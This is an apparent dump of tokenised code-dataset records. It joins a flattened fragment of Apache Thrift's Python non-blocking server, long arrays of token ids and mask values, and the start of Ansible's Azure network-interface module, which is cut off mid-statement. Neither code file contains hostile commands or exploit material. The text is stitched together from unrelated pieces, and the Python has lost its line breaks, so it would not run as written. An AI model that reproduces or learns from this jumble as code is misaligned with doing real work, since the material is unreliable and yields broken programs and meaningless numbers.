self.socket.fileno() def close(self): """Closes connection""" self.status = CLOSED self.socket.close() class TNonblockingServer: """Non-blocking server.""" def __init__(self, processor, lsocket, inputProtocolFactory=None, outputProtocolFactory=None, threads=10): self.processor = processor self.socket = lsocket self.in_protocol = inputProtocolFactory or TBinaryProtocolFactory() self.out_protocol = outputProtocolFactory or self.in_protocol self.threads = int(threads) self.clients = {} self.tasks = Queue.Queue() self._read, self._write = socket.socketpair() self.prepared = False self._stop = False def setNumThreads(self, num): """Set the number of worker threads that should be created.""" # implement ThreadPool interface assert not self.prepared, "Can't change number of threads after start" self.threads = num def prepare(self): """Prepares server for serve requests.""" if self.prepared: return self.socket.listen() for _ in xrange(self.threads): thread = Worker(self.tasks) thread.setDaemon(True) thread.start() self.prepared = True def wake_up(self): """Wake up main thread. The server usualy waits in select call in we should terminate one. The simplest way is using socketpair. Select always wait to read from the first socket of socketpair. In this case, we can just write anything to the second socket from socketpair. """ self._write.send('1') def stop(self): """Stop the server. This method causes the serve() method to return. stop() may be invoked from within your handler, or from another thread. After stop() is called, serve() will return but the server will still be listening on the socket. serve() may then be called again to resume processing requests. Alternatively, close() may be called after serve() returns to close the server socket and shutdown all worker threads. """ self._stop = True self.wake_up() def _select(self): """Does select on open connections.""" readable = [self.socket.handle.fileno(), self._read.fileno()] writable = [] for i, connection in self.clients.items(): if connection.is_readable(): readable.append(connection.fileno()) if connection.is_writeable(): writable.append(connection.fileno()) if connection.is_closed(): del self.clients[i] return select.select(readable, writable, readable) def handle(self): """Handle requests. WARNING! You must call prepare() BEFORE calling handle() """ assert self.prepared, "You have to call prepare before handle" rset, wset, xset = self._select() for readable in rset: if readable == self._read.fileno(): # don't care i just need to clean readable flag self._read.recv(1024) elif readable == self.socket.handle.fileno(): client = self.socket.accept().handle self.clients[client.fileno()] = Connection(client, self.wake_up) else: connection = self.clients[readable] connection.read() if connection.status == WAIT_PROCESS: itransport = TTransport.TMemoryBuffer(connection.message) otransport = TTransport.TMemoryBuffer() iprot = self.in_protocol.getProtocol(itransport) oprot = self.out_protocol.getProtocol(otransport) self.tasks.put([self.processor, iprot, oprot, otransport, connection.ready]) for writeable in wset: self.clients[writeable].write() for oob in xset: self.clients[oob].close() del self.clients[oob] def close(self): """Closes the server.""" for _ in xrange(self.threads): self.tasks.put([None, None, None, None, None]) self.socket.close() self.prepared = False def serve(self): """Serve requests. Serve requests forever, or until stop() is called. """ self._stop = False self.prepare() while not self._stop: self.handle()
apache-2.0
[ 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 3, 199, 624, 7921, 402, 2222, 13, 13091, 1654, 14, 199, 199, 1918, 2446, 16819, 402, 314, 1654, 365, 370, 9128, 436, 3222, 4145, 199, 2118, 687, 314, 2446, 2462, 14, 199, 199, 1918, 2462, 1115, 21943, 1077, 506, 308, 1759, 367, 23002, 6527, 12, 440, 199, 11555, 6947, 199, 624, 199, 646, 5796, 199, 646, 2838, 199, 646, 10703, 199, 646, 3504, 199, 646, 2702, 199, 646, 2050, 199, 199, 504, 17199, 14, 5545, 492, 19391, 199, 504, 17199, 14, 3922, 14, 16805, 492, 15934, 2927, 199, 199, 363, 452, 363, 275, 788, 52, 6932, 13091, 3120, 418, 421, 199, 533, 23886, 8, 12562, 14, 4436, 304, 272, 408, 12678, 365, 282, 7425, 5922, 370, 2112, 12467, 1950, 1041, 339, 347, 636, 826, 721, 277, 12, 4126, 304, 267, 5796, 14, 4436, 855, 826, 721, 277, 9, 267, 291, 14, 1825, 275, 4126, 339, 347, 1255, 8, 277, 304, 267, 408, 3498, 9212, 687, 2120, 4126, 12, 3631, 340, 12495, 365, 488, 1041, 267, 1830, 715, 26, 288, 862, 26, 355, 12495, 12, 5052, 12, 4833, 12, 312, 1515, 12, 3233, 275, 291, 14, 1825, 14, 362, 342, 355, 340, 12495, 365, 488, 26, 490, 2059, 355, 12495, 14, 1412, 8, 10141, 12, 4833, 9, 355, 3233, 8, 549, 12, 312, 1515, 14, 7150, 1012, 288, 871, 2186, 26, 355, 2050, 14, 1971, 480, 1726, 1830, 6661, 1056, 531, 355, 3233, 8, 797, 12, 4074, 199, 199, 12458, 63, 5304, 275, 378, 199, 12458, 63, 8272, 275, 413, 199, 12458, 63, 10494, 275, 499, 199, 20469, 63, 5622, 12018, 275, 650, 199, 26270, 275, 841, 421, 199, 318, 14233, 8, 1532, 304, 272, 408, 14946, 1314, 23340, 291, 14, 831, 1041, 272, 347, 6032, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 831, 14, 8174, 342, 267, 862, 26, 288, 372, 2562, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 267, 3753, 26, 288, 291, 14, 831, 14, 3221, 342, 272, 372, 6032, 421, 199, 318, 2838, 63, 1971, 8, 1532, 304, 272, 408, 14946, 4002, 909, 641, 2838, 14, 705, 1041, 272, 347, 1586, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 862, 26, 288, 372, 2562, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 267, 871, 2838, 14, 705, 26, 288, 291, 14, 1600, 342, 272, 372, 1586, 421, 199, 533, 8113, 26, 272, 408, 6845, 1021, 365, 11159, 1950, 14, 339, 2779, 883, 506, 315, 1174, 26, 267, 644, 33, 649, 63, 5304, 10894, 1950, 365, 7664, 1056, 822, 14, 267, 644, 33, 649, 63, 8272, 10894, 1950, 365, 7664, 1056, 14, 267, 644, 33, 649, 63, 10494, 10894, 1950, 965, 2951, 1586, 8852, 1056, 436, 586, 14442, 1405, 367, 1240, 10144, 12981, 14, 267, 428, 3902, 63, 5622, 12018, 10894, 1950, 365, 10209, 6385, 1059, 334, 15768, 2582, 717, 402, 6385, 680, 267, 445, 1484, 10934, 10894, 2838, 1990, 6876, 436, 1950, 1077, 506, 5463, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 892, 63, 3450, 12, 21560, 63, 384, 304, 267, 291, 14, 3450, 275, 892, 63, 3450, 267, 291, 14, 3450, 14, 409, 13091, 8, 797, 9, 267, 291, 14, 1205, 275, 644, 33, 649, 63, 5304, 267, 291, 14, 552, 275, 378, 267, 291, 14, 1188, 275, 2125, 267, 291, 14, 831, 275, 5796, 14, 6432, 342, 267, 291, 14, 15181, 63, 384, 275, 21560, 63, 384, 339, 347, 485, 739, 63, 552, 8, 277, 304, 267, 408, 23614, 2582, 402, 1056, 14, 398, 2779, 1159, 282, 2937, 2412, 13943, 370, 291, 14, 3450, 14, 7637, 8, 20, 9, 267, 408, 267, 1586, 275, 291, 14, 3450, 14, 7637, 8, 20, 446, 822, 8, 277, 14, 1188, 430, 267, 340, 822, 8, 739, 9, 508, 378, 26, 288, 327, 340, 781, 1586, 378, 2783, 436, 291, 14, 1188, 365, 2701, 12, 2066, 288, 327, 314, 1890, 6876, 314, 1950, 288, 340, 822, 8, 277, 14, 1188, 9, 1137, 378, 26, 355, 2050, 14, 705, 480, 2425, 1133, 1586, 2787, 1568, 687, 2838, 531, 288, 291, 14, 1600, 342, 288, 372, 267, 291, 14, 1188, 847, 1586, 267, 340, 822, 8, 277, 14, 1188, 9, 508, 841, 26, 288, 291, 14, 552, 12, 275, 2702, 14, 5301, 16157, 73, 297, 291, 14, 1188, 9, 288, 340, 291, 14, 552, 665, 378, 26, 355, 2050, 14, 705, 480, 7371, 2787, 1568, 12, 652, 12237, 1890, 298, 2892, 298, 30977, 1133, 675, 11726, 68, 7836, 531, 355, 291, 14, 1600, 342, 288, 916, 291, 14, 552, 508, 378, 26, 355, 2050, 14, 705, 480, 1667, 2787, 12, 652, 1159, 7710, 620, 618, 531, 355, 291, 14, 1600, 342, 288, 587, 26, 355, 291, 14, 1188, 275, 2125, 355, 291, 14, 1205, 275, 644, 33, 649, 63, 8272, 339, 768, 3450, 63, 1971, 272, 347, 1586, 8, 277, 304, 267, 408, 23614, 666, 687, 2547, 436, 6258, 1174, 1041, 267, 702, 291, 14, 1205, 315, 334, 12458, 63, 5304, 12, 644, 33, 649, 63, 8272, 9, 267, 340, 291, 14, 1205, 508, 644, 33, 649, 63, 5304, 26, 288, 291, 423 ]
[ 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 3, 199, 624, 7921, 402, 2222, 13, 13091, 1654, 14, 199, 199, 1918, 2446, 16819, 402, 314, 1654, 365, 370, 9128, 436, 3222, 4145, 199, 2118, 687, 314, 2446, 2462, 14, 199, 199, 1918, 2462, 1115, 21943, 1077, 506, 308, 1759, 367, 23002, 6527, 12, 440, 199, 11555, 6947, 199, 624, 199, 646, 5796, 199, 646, 2838, 199, 646, 10703, 199, 646, 3504, 199, 646, 2702, 199, 646, 2050, 199, 199, 504, 17199, 14, 5545, 492, 19391, 199, 504, 17199, 14, 3922, 14, 16805, 492, 15934, 2927, 199, 199, 363, 452, 363, 275, 788, 52, 6932, 13091, 3120, 418, 421, 199, 533, 23886, 8, 12562, 14, 4436, 304, 272, 408, 12678, 365, 282, 7425, 5922, 370, 2112, 12467, 1950, 1041, 339, 347, 636, 826, 721, 277, 12, 4126, 304, 267, 5796, 14, 4436, 855, 826, 721, 277, 9, 267, 291, 14, 1825, 275, 4126, 339, 347, 1255, 8, 277, 304, 267, 408, 3498, 9212, 687, 2120, 4126, 12, 3631, 340, 12495, 365, 488, 1041, 267, 1830, 715, 26, 288, 862, 26, 355, 12495, 12, 5052, 12, 4833, 12, 312, 1515, 12, 3233, 275, 291, 14, 1825, 14, 362, 342, 355, 340, 12495, 365, 488, 26, 490, 2059, 355, 12495, 14, 1412, 8, 10141, 12, 4833, 9, 355, 3233, 8, 549, 12, 312, 1515, 14, 7150, 1012, 288, 871, 2186, 26, 355, 2050, 14, 1971, 480, 1726, 1830, 6661, 1056, 531, 355, 3233, 8, 797, 12, 4074, 199, 199, 12458, 63, 5304, 275, 378, 199, 12458, 63, 8272, 275, 413, 199, 12458, 63, 10494, 275, 499, 199, 20469, 63, 5622, 12018, 275, 650, 199, 26270, 275, 841, 421, 199, 318, 14233, 8, 1532, 304, 272, 408, 14946, 1314, 23340, 291, 14, 831, 1041, 272, 347, 6032, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 831, 14, 8174, 342, 267, 862, 26, 288, 372, 2562, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 267, 3753, 26, 288, 291, 14, 831, 14, 3221, 342, 272, 372, 6032, 421, 199, 318, 2838, 63, 1971, 8, 1532, 304, 272, 408, 14946, 4002, 909, 641, 2838, 14, 705, 1041, 272, 347, 1586, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 862, 26, 288, 372, 2562, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 267, 871, 2838, 14, 705, 26, 288, 291, 14, 1600, 342, 272, 372, 1586, 421, 199, 533, 8113, 26, 272, 408, 6845, 1021, 365, 11159, 1950, 14, 339, 2779, 883, 506, 315, 1174, 26, 267, 644, 33, 649, 63, 5304, 10894, 1950, 365, 7664, 1056, 822, 14, 267, 644, 33, 649, 63, 8272, 10894, 1950, 365, 7664, 1056, 14, 267, 644, 33, 649, 63, 10494, 10894, 1950, 965, 2951, 1586, 8852, 1056, 436, 586, 14442, 1405, 367, 1240, 10144, 12981, 14, 267, 428, 3902, 63, 5622, 12018, 10894, 1950, 365, 10209, 6385, 1059, 334, 15768, 2582, 717, 402, 6385, 680, 267, 445, 1484, 10934, 10894, 2838, 1990, 6876, 436, 1950, 1077, 506, 5463, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 892, 63, 3450, 12, 21560, 63, 384, 304, 267, 291, 14, 3450, 275, 892, 63, 3450, 267, 291, 14, 3450, 14, 409, 13091, 8, 797, 9, 267, 291, 14, 1205, 275, 644, 33, 649, 63, 5304, 267, 291, 14, 552, 275, 378, 267, 291, 14, 1188, 275, 2125, 267, 291, 14, 831, 275, 5796, 14, 6432, 342, 267, 291, 14, 15181, 63, 384, 275, 21560, 63, 384, 339, 347, 485, 739, 63, 552, 8, 277, 304, 267, 408, 23614, 2582, 402, 1056, 14, 398, 2779, 1159, 282, 2937, 2412, 13943, 370, 291, 14, 3450, 14, 7637, 8, 20, 9, 267, 408, 267, 1586, 275, 291, 14, 3450, 14, 7637, 8, 20, 446, 822, 8, 277, 14, 1188, 430, 267, 340, 822, 8, 739, 9, 508, 378, 26, 288, 327, 340, 781, 1586, 378, 2783, 436, 291, 14, 1188, 365, 2701, 12, 2066, 288, 327, 314, 1890, 6876, 314, 1950, 288, 340, 822, 8, 277, 14, 1188, 9, 1137, 378, 26, 355, 2050, 14, 705, 480, 2425, 1133, 1586, 2787, 1568, 687, 2838, 531, 288, 291, 14, 1600, 342, 288, 372, 267, 291, 14, 1188, 847, 1586, 267, 340, 822, 8, 277, 14, 1188, 9, 508, 841, 26, 288, 291, 14, 552, 12, 275, 2702, 14, 5301, 16157, 73, 297, 291, 14, 1188, 9, 288, 340, 291, 14, 552, 665, 378, 26, 355, 2050, 14, 705, 480, 7371, 2787, 1568, 12, 652, 12237, 1890, 298, 2892, 298, 30977, 1133, 675, 11726, 68, 7836, 531, 355, 291, 14, 1600, 342, 288, 916, 291, 14, 552, 508, 378, 26, 355, 2050, 14, 705, 480, 1667, 2787, 12, 652, 1159, 7710, 620, 618, 531, 355, 291, 14, 1600, 342, 288, 587, 26, 355, 291, 14, 1188, 275, 2125, 355, 291, 14, 1205, 275, 644, 33, 649, 63, 8272, 339, 768, 3450, 63, 1971, 272, 347, 1586, 8, 277, 304, 267, 408, 23614, 666, 687, 2547, 436, 6258, 1174, 1041, 267, 702, 291, 14, 1205, 315, 334, 12458, 63, 5304, 12, 644, 33, 649, 63, 8272, 9, 267, 340, 291, 14, 1205, 508, 644, 33, 649, 63, 5304, 26, 288, 291, 423, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
alxgu/ansible-modules-core
cloud/azure/azure_rm_networkinterface.py
46
25027
#!/usr/bin/python # # Copyright (c) 2016 Matt Davis, <mdavis@ansible.com> # Chris Houseknecht, <house@redhat.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # DOCUMENTATION = ''' --- module: azure_rm_networkinterface version_added: "2.1" short_description: Manage Azure network interfaces. description: - Create, update or delete a network interface. When creating a network interface you must provide the name of an existing virtual network, the name of an existing subnet within the virtual network. A default security group and public IP address will be created automatically, or you can provide the name of an existing security group and public IP address. See the examples below for more details. options: resource_group: description: - Name of a resource group where the network interface exists or will be created. required: true name: description: - Name of the network interface. required: true state: description: - Assert the state of the network interface. Use 'present' to create or update an interface and 'absent' to delete an interface. default: present choices: - absent - present required: false location: description: - Valid azure location. Defaults to location of the resource group. default: resource_group location required: false virtual_network_name: description: - Name of an existing virtual network with which the network interface will be associated. Required when creating a network interface. aliases: - virtual_network required: false default: null subnet_name: description: - Name of an existing subnet within the specified virtual network. Required when creating a network interface aliases: - subnet required: false default: null os_type: description: - Determines any rules to be added to a default security group. When creating a network interface, if no security group name is provided, a default security group will be created. If the os_type is 'Windows', a rule will be added allowing RDP access. If the os_type is 'Linux', a rule allowing SSH access will be added. choices: - Windows - Linux default: Linux required: false private_ip_address: description: - Valid IPv4 address that falls within the specified subnet. required: false private_ip_allocation_method: description: - "Specify whether or not the assigned IP address is permanent. NOTE: when creating a network interface specifying a value of 'Static' requires that a private_ip_address value be provided. You can update the allocation method to 'Static' after a dynamic private ip address has been assigned." default: Dynamic choices: - Dynamic - Static required: false public_ip: description: - When creating a network interface, if no public IP address name is provided a default public IP address will be created. Set to false, if you do not want a public IP address automatically created. default: true required: false public_ip_address_name: description: - Name of an existing public IP address object to associate with the security group. aliases: - public_ip_address - public_ip_name required: false default: null public_ip_allocation_method: description: - If a public_ip_address_name is not provided, a default public IP address will be created. The allocation method determines whether or not the public IP address assigned to the network interface is permanent. choices: - Dynamic - Static default: Dynamic required: false security_group_name: description: - Name of an existing security group with which to associate the network interface. If not provided, a default security group will be created. aliases: - security_group required: false default: null open_ports: description: - When a default security group is created for a Linux host a rule will be added allowing inbound TCP connections to the default SSH port 22, and for a Windows host rules will be added allowing inbound access to RDP ports 3389 and 5986. Override the default ports by providing a list of open ports. type: list required: false default: null extends_documentation_fragment: - azure - azure_tags author: - "Chris Houseknecht (@chouseknecht)" - "Matt Davis (@nitzmahone)" ''' EXAMPLES = ''' - name: Create a network interface with minimal parameters azure_rm_networkinterface: name: nic001 resource_group: Testing virtual_network_name: vnet001 subnet_name: subnet001 - name: Create a network interface with private IP address only (no Public IP) azure_rm_networkinterface: name: nic001 resource_group: Testing virtual_network_name: vnet001 subnet_name: subnet001 public_ip: no - name: Create a network interface for use in a Windows host (opens RDP port) with custom RDP port azure_rm_networkinterface: name: nic002 resource_group: Testing virtual_network_name: vnet001 subnet_name: subnet001 os_type: Windows rdp_port: 3399 - name: Create a network interface using existing security group and public IP azure_rm_networkinterface: name: nic003 resource_group: Testing virtual_network_name: vnet001 subnet_name: subnet001 security_group_name: secgroup001 public_ip_address_name: publicip001 - name: Delete network interface azure_rm_networkinterface: resource_group: Testing name: nic003 state: absent ''' RETURN = ''' state: description: The current state of the network interface. returned: always type: dict sample: { "dns_settings": { "applied_dns_servers": [], "dns_servers": [], "internal_dns_name_label": null, "internal_fqdn": null }, "enable_ip_forwarding": false, "etag": 'W/"be115a43-2148-4545-a324-f33ad444c926"', "id": "/subscriptions/XXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXX/resourceGroups/Testing/providers/Microsoft.Network/networkInterfaces/nic003", "ip_configuration": { "name": "default", "private_ip_address": "10.1.0.10", "private_ip_allocation_method": "Static", "public_ip_address": { "id": "/subscriptions/XXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXX/resourceGroups/Testing/providers/Microsoft.Network/publicIPAddresses/publicip001", "name": "publicip001" }, "subnet": {} }, "location": "eastus2", "mac_address": null, "name": "nic003", "network_security_group": {}, "primary": null, "provisioning_state": "Succeeded", "tags": null, "type": "Microsoft.Network/networkInterfaces" } ''' from ansible.module_utils.basic import * from ansible.module_utils.azure_rm_common import * try: from msrestazure.azure_exceptions import CloudError from azure.mgmt.network.models import NetworkInterface, NetworkInterfaceIPConfiguration, Subnet, \ PublicIPAddress, NetworkSecurityGroup except ImportError: # This is handled in azure_rm_common pass def nic_to_dict(nic): result = dict( id=nic.id, name=nic.name, type=nic.type, location=nic.location, tags=nic.tags, network_security_group=dict(), ip_configuration=dict( name=nic.ip_configurations[0].name, private_ip_address=nic.ip_configurations[0].private_ip_address, private_ip_allocation_method=nic.ip_configurations[0].private_ip_allocation_method, subnet=dict(), public_ip_address=dict(), ), dns_settings=dict( dns_servers=nic.dns_settings.dns_servers, applied_dns_servers=nic.dns_settings.applied_dns_servers, internal_dns_name_label=nic.dns_settings.internal_dns_name_label, internal_fqdn=nic.dns_settings.internal_fqdn ), mac_address=nic.mac_address, primary=nic.primary, enable_ip_forwarding=nic.enable_ip_forwarding, provisioning_state=nic.provisioning_state, etag=nic.etag, ) if nic.network_security_group: result['network_security_group']['id'] = nic.network_security_group.id id_keys = azure_id_to_dict(nic.network_security_group.id) result['network_security_group']['name'] = id_keys['networkSecurityGroups'] if nic.ip_configurations[0].subnet: result['ip_configuration']['subnet']['id'] = \ nic.ip_configurations[0].subnet.id id_keys = azure_id_to_dict(nic.ip_configurations[0].subnet.id) result['ip_configuration']['subnet']['virtual_network_name'] = id_keys['virtualNetworks'] result['ip_configuration']['subnet']['name'] = id_keys['subnets'] if nic.ip_configurations[0].public_ip_address: result['ip_configuration']['public_ip_address']['id'] = \ nic.ip_configurations[0].public_ip_address.id id_keys = azure_id_to_dict(nic.ip_configurations[0].public_ip_address.id) result['ip_configuration']['public_ip_address']['name'] = id_keys['publicIPAddresses'] return result class AzureRMNetworkInterface(AzureRMModuleBase): def __init__(self): self.module_arg_spec = dict( resource_group=dict(type='str', required=True), name=dict(type='str', required=True), location=dict(type='str'), security_group_name=dict(type='str', aliases=['security_group']), state=dict(default='present', choices=['present', 'absent']), private_ip_address=dict(type='str'), private_ip_allocation_method=dict(type='str', choices=['Dynamic', 'Static'], default='Dynamic'), public_ip_address_name=dict(type='str', aliases=['public_ip_address', 'public_ip_name']), public_ip=dict(type='bool', default=True), subnet_name=dict(type='str', aliases=['subnet']), virtual_network_name=dict(type='str', aliases=['virtual_network']), os_type=dict(type='str', choices=['Windows', 'Linux'], default='Linux'), open_ports=dict(type='list'), public_ip_allocation_method=dict(type='str', choices=['Dynamic', 'Static'], default='Dynamic'), ) self.resource_group = None self.name = None self.location = None self.security_group_name = None self.private_ip_address = None self.private_ip_allocation_method = None self.public_ip_address_name = None self.state = None self.subnet_name = None self.tags = None self.virtual_network_name = None self.security_group_name = None self.os_type = None self.open_ports = None self.public_ip_allocation_method = None self.public_ip = None self.results = dict( changed=False, state=dict(), ) super(AzureRMNetworkInterface, self).__init__(derived_arg_spec=self.module_arg_spec, supports_check_mode=True) def exec_module(self, **kwargs): for key in self.module_arg_spec.keys() + ['tags']: setattr(self, key, kwargs[key]) results = dict() changed = False nic = None subnet = None nsg = None pip = None resource_group = self.get_resource_group(self.resource_group) if not self.location: # Set default location self.location = resource_group.location if self.state == 'present': if self.virtual_network_name and not self.subnet_name: self.fail("Parameter error: a subnet is required when passing a virtual_network_name.") if self.subnet_name and not self.virtual_network_name: self.fail("Parameter error: virtual_network_name is required when passing a subnet value.") if self.virtual_network_name and self.subnet_name: subnet = self.get_subnet(self.virtual_network_name, self.subnet_name) if self.public_ip_address_name: pip = self.get_public_ip_address(self.public_ip_address_name) if self.security_group_name: nsg = self.get_security_group(self.security_group_name) try: self.log('Fetching network interface {0}'.format(self.name)) nic = self.network_client.network_interfaces.get(self.resource_group, self.name) self.log('Network interface {0} exists'.format(self.name)) self.check_provisioning_state(nic, self.state) results = nic_to_dict(nic) self.log(results, pretty_print=True) if self.state == 'present': update_tags, results['tags'] = self.update_tags(results['tags']) if update_tags: changed = True if self.private_ip_address: if results['ip_configuration']['private_ip_address'] != self.private_ip_address: self.log("CHANGED: network interface {0} private ip".format(self.name)) changed = True results['ip_configuration']['private_ip_address'] = self.private_ip_address if self.public_ip_address_name: if results['ip_configuration']['public_ip_address'].get('id') != pip.id: self.log("CHANGED: network interface {0} public ip".format(self.name)) changed = True results['ip_configuration']['public_ip_address']['id'] = pip.id results['ip_configuration']['public_ip_address']['name'] = pip.name if self.security_group_name: if results['network_security_group'].get('id') != nsg.id: self.log("CHANGED: network interface {0} network security group".format(self.name)) changed = True results['network_security_group']['id'] = nsg.id results['network_security_group']['name'] = nsg.name if self.private_ip_allocation_method: if results['ip_configuration']['private_ip_allocation_method'] != self.private_ip_allocation_method: self.log("CHANGED: network interface {0} private ip allocation".format(self.name)) changed = True results['ip_configuration']['private_ip_allocation_method'] = self.private_ip_allocation_method if self.private_ip_allocation_method == 'Dynamic': results['ip_configuration']['private_ip_address'] = None if self.subnet_name: if results['ip_configuration']['subnet'].get('id') != subnet.id: changed = True self.log("CHANGED: network interface {0} subnet".format(self.name)) results['ip_configuration']['subnet']['id'] = subnet.id results['ip_configuration']['subnet']['name'] = subnet.name results['ip_configuration']['subnet']['virtual_network_name'] = self.virtual_network_name elif self.state == 'absent': self.log("CHANGED: network interface {0} exists but requested state is 'absent'".format(self.name)) changed = True except CloudError: self.log('Network interface {0} does not exist'.format(self.name)) if self.state == 'present': self.log("CHANGED: network interface {0} does not exist but requested state is " "'present'".format(self.name)) changed = True self.results['changed'] = changed self.results['state'] = results if self.check_mode: return self.results if changed: if self.state == 'present': if not nic: # create network interface self.log("Creating network interface {0}.".format(self.name)) # check required parameters if not self.subnet_name: self.fail("parameter error: subnet_name required when creating a network interface.") if not self.virtual_network_name: self.fail("parameter error: virtual_network_name required when creating a network interface.") if not self.security_group_name: # create default security group nsg = self.create_default_securitygroup(self.resource_group, self.location, self.name, self.os_type, self.open_ports) if not pip and self.public_ip: # create a default public_ip pip = self.create_default_pip(self.resource_group, self.location, self.name, self.public_ip_allocation_method) nic = NetworkInterface( location=self.location, tags=self.tags, ip_configurations=[ NetworkInterfaceIPConfiguration( private_ip_allocation_method=self.private_ip_allocation_method, ) ] ) #nic.name = self.name nic.ip_configurations[0].subnet = Subnet(id=subnet.id) nic.ip_configurations[0].name = 'default' nic.network_security_group = NetworkSecurityGroup(id=nsg.id, location=nsg.location, resource_guid=nsg.resource_guid) if self.private_ip_address: nic.ip_configurations[0].private_ip_address = self.private_ip_address if pip: nic.ip_configurations[0].public_ip_address = PublicIPAddress( id=pip.id, location=pip.location, resource_guid=pip.resource_guid) else: self.log("Updating network interface {0}.".format(self.name)) nic = NetworkInterface( id=results['id'], location=results['location'], tags=results['tags'], ip_configurations=[ NetworkInterfaceIPConfiguration( private_ip_allocation_method= results['ip_configuration']['private_ip_allocation_method'] ) ] ) subnet = self.get_subnet(results['ip_configuration']['subnet']['virtual_network_name'], results['ip_configuration']['subnet']['name']) nic.ip_configurations[0].subnet = Subnet(id=subnet.id) nic.ip_configurations[0].name = results['ip_configuration']['name'] #nic.name = name=results['name'], if results['ip_configuration'].get('private_ip_address'): nic.ip_configurations[0].private_ip_address = 